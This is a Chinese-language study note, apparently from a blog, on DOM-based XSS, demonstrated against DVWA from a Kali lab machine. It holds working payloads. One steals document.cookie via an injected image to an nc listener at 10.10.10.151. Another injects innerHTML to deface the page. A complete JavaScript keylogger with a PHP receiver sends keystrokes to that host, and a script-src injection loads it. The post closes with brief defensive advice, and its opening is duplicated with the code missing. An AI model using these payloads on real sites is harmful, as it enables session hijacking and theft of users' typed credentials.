关于DOM型XSS漏洞的学习笔记
2017-03-05 16:14
218 查看
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
window.name属性
location属性
innerHTML属性
documen.write属性
······
然后在DVWA中输入:
在Kali中可看到cookie信息:
在Kali的网页根目录下保存Keylogger.js文件:
访问一下确保可行:
接着就是将keylogger.php文件也保存在同一个目录来是实现将键盘得到记录保存到本地的keylog.txt文件中,即将接受到的key参数的取值保存到该文件中:
keylogger.php:
接着创建一个空的keylog.txt文件,然后赋予相应的可写的权限,这里为了方便就将权限赋给所有的用户:chmod 777 keylog.txt
接着在Kali中打开的DVWA中输入:
<script src="http://10.10.10.151/Keylogger.js"></script>
然后在该网页中随意输入内容,查看keylog.txt文件可看到记录了下来:
(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;
(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到<script>则进行JS编码。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
可能触发DOM型XSS的属性:
document.referer属性window.name属性
location属性
innerHTML属性
documen.write属性
······
利用DOM引发XSS:
利用DOM来引发XSS的方法有很多,这里只演示几种。利用创建元素createElement():
以DVWA反射型XSS为例,先在Kali监听1234端口:nc -nvlp 1234
然后在DVWA中输入:
<script>var img=document.createElement("img");img.src="http://10.10.10.151:1234/a?"+escape(document.cookie);</script>
在Kali中可看到cookie信息:
利用innerHTML:
用于篡改页面,在前面的反射型的利用中也演示过:<script>document.body.innerHTML="<div style=visibility:visible;><h1>This is DOM XSS</h1></div>";</script>
利用document.onkeypress:
即进行键盘记录。在Kali的网页根目录下保存Keylogger.js文件:
document.onkeypress=function(evt){ evt=evt || window.event key=String.fromCharCode(evt.charCode) if(key){ var http=new XMLHttpRequest(); var param=encodeURI(key); http.open("POST","http://10.10.10.151/keylogger.php",true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("key="+param); } }
访问一下确保可行:
接着就是将keylogger.php文件也保存在同一个目录来是实现将键盘得到记录保存到本地的keylog.txt文件中,即将接受到的key参数的取值保存到该文件中:
keylogger.php:
<?php $key=$_POST['key']; $logfile='keylog.txt'; $fp=fopen($logfile,"a"); fwrite($fp,$key); fclose($fp); ?>
接着创建一个空的keylog.txt文件,然后赋予相应的可写的权限,这里为了方便就将权限赋给所有的用户:chmod 777 keylog.txt
接着在Kali中打开的DVWA中输入:
<script src="http://10.10.10.151/Keylogger.js"></script>
然后在该网页中随意输入内容,查看keylog.txt文件可看到记录了下来:
DOM型XSS的防御方法:
DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。其防御在于:(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;
(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到<script>则进行JS编码。
相关文章推荐
- 关于本地提权的学习笔记(二):注入进程和利用漏洞提权
- 关于phpMyAdmin默认安装漏洞的学习笔记
- 关于Angular2的学习笔记
- 关于SQLServer2005的学习笔记——生日问题
- 关于SQLServer2005的学习笔记——统计学自动分组问题
- ASP代码审计学习笔记 -3.上传漏洞
- 关于MLX90614红外测温模块SMBus 协议的学习笔记<一>(附MLX90614中文资料,英文资料)
- 关于DATEDIFF 函数_学习笔记(临时)
- 【Google Guava 学习笔记 二】关于Optional,避免null对你的摧残
- 我的学习笔记,关于分页
- 关于JTAG——韦东山嵌入式Linux视频学习笔记02
- 摄像机标定学习笔记(9) 关于单应性
- 关于继承构造函数执行顺序、override及new如何执行的学习笔记
- python菜鸟笔记--python关于json对象的使用方法学习
- haXe学习笔记:关于类,接口和派生
- Android开发学习笔记(五):关于R.java消失或无法更新的问题
- 一份关于jvm内存调优及原理的学习笔记
- MySQL学习笔记_关于MySQL的整数类型字段长度知识总结
- 关于SQLServer2005的学习笔记——XML的处理
- 关于think in java学习笔记的说明